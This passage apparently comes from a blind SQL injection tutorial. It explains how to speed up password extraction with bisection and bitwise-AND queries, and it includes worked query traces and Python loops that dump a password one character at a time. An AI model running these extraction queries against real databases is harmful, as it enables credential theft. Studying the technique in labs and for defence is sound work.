Optimizing

The Need for Speed

Although the script we've written works, it is inefficient and slow. In total, the script sends 4128 requests and takes 1005.671 seconds. In this section, we will introduce two algorithms that we can use to drastically improve these numbers.

Bisection

The bisection blind SQL injection algorithm works by repeatedly splitting the search area in half until we have only one option left. In this case, the search area is all possible ASCII values, so 0-127. Let's imagine we are trying to dump the 1st character of password which is the character '-' whose ASCII value is equal to 45.

Target = '-' = 45

We set the lower and upper boundaries of the search area to 0 and 127 respectively and calculate the midpoint (rounding down if necessary). Next, we use our SQL injection to evaluate the query ASCII(SUBSTRING(password,1,1)) BETWEEN <LBound> AND <Midpoint>. We are simply asking the server whether our character lies within this range, and if it does we can exclude all outside characters and keep reducing the range until we locate our character's position.

These are the seven requests that we will end up sending to dump the target character:

LBound = 0, UBound = 127
-> Midpoint = (0+127)//2 = 63
-> Is <target> between 0 and 63? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 0 AND 63
-> Yes: UBound = 63 - 1 = 62

LBound = 0, UBound = 62
-> Midpoint = (0+62)//2 = 31
-> Is <target> between 0 and 31? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 0 AND 31
-> No: LBound = 31 + 1 = 32

LBound = 32, UBound = 62
-> Midpoint = (32+62)//2 = 47
-> Is <target> between 32 and 47? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 32 AND 47
-> Yes: UBound = 47 - 1 = 46

LBound = 32, UBound = 46
-> Midpoint = (32+46)//2 = 39
-> Is <target> between 32 and 39? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 32 AND 39
-> No: LBound = 39 + 1 = 40

LBound = 40, UBound = 46
-> Midpoint = (40+46)//2 = 43
-> Is <target> between 40 and 43? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 40 AND 43
-> No: LBound = 43 + 1 = 44

LBound = 44, UBound = 46
-> Midpoint = (44+46)//2 = 45
-> Is <target> between 44 and 45? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 44 AND 45
-> Yes: UBound = 45 - 1 = 44

LBound = 44, UBound = 45
-> Midpoint = (44+45)//2 = 44
-> Is <target> between 44 and 44? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 44 AND 44
-> No: LBound = 44 + 1 = 45

LBound = 45 = Target

We can see that the target value is now stored in LBound, and it only took 7 requests instead of the 45 that it would've taken the script we wrote last section.

Implementing this algorithm in our script is not very hard. Just make sure to comment out the previous loop first.

# Dump the target's password
# ...

# Dump the target's password (Bisection)
print("[*] Password = ", end='')
for i in range(1, length + 1):
    low = 0
    high = 127
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"ASCII(SUBSTRING(password,{i},1)) BETWEEN {low} AND {mid}"):
            high = mid -1
        else:
            low = mid + 1
    print(chr(low), end='')
    sys.stdout.flush()
print()

In total, the bisection algorithm requires 256 requests and 61.556 seconds to dump maria's password. This is a great improvement.

SQL-Anding

SQL-Anding is another algorithm we can use to reduce the number of requests necessary. It involves thinking a little bit in binary. ASCII characters have values 0-127, which in binary are 00000000-01111111. Since the most significant bit is always a 0, we only need to dump 7 of these bits. We can dump bits by having the server evaluate bitwise-and queries which are true if the targeted bit is a 1, and false if the bit is a 0.

For example, the number 23 in binary is 00010111, therefore 23 & 4 is 4 and 23 & 8 is 0. We can set up a query like ASCII(SUBSTRING(password,N,1)) & X) > 0 to test if the N'th character of password bitwise-and X is bigger than 0 or not to see if the bit which corresponds to 2^X is a 1 or 0.

An example of using this technique to dump the character 9 looks like this:

Target = '9' = 57

Is <target> bitwise-and 1 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 1) > 0
-> Yes
-> Dump = ......1

Is <target> bitwise-and 2 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 2) > 0
-> No
-> Dump = .....01

Is <target> bitwise-and 4 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 4) > 0
-> No
-> Dump = ....001

Is <target> bitwise-and 8 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 8) > 0
-> Yes
-> Dump = ...1001

Is <target> bitwise-and 16 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 16) > 0
-> Yes
-> Dump = ..11001

Is <target> bitwise-and 32 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 32) > 0
-> Yes
-> Dump = .111001

Is <target> bitwise-and 64 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 64) > 0
-> No
-> Dump = 0111001

Dump = 0111001 = 57 = '9'

We can implement this algorithm in our Python script like this. Once again, don't forget to comment out the previous loops.

# Dump the target's password
# ...

# Dump the target's password (Bisection)
# ...

# Dump the target's password (SQL-Anding)
print("[*] Password = ", end='')
for i in range(1, length + 1):
    c = 0
    for p in range(7):
        if oracle(f"ASCII(SUBSTRING(password,{i},1))&{2**p}>0"):
            c |= 2**p
    print(chr(c), end='')
    sys.stdout.flush()
print()

This algorithm, like the bisection algorithm takes 256 requests, but runs ever so slightly faster at 60.281 seconds due to the query using instructions that run quicker.

Further Optimization

Although these algorithms are already a massive improvement, this is only the beginning. We can further improve them with multithreading.

In the case of bisection, the 7 requests we send to dump a character all depend on each other, so they must be sent in order, however individual characters are independent and can therefore be dumped in independent threads.

When it comes to SQL-Anding, the 7 requests to dump a character are all independent of each other, and all characters are independent of each other, so we can have all the requests we need to send run parallel.

If you're interested in learning more about this topic, then you can check out this video.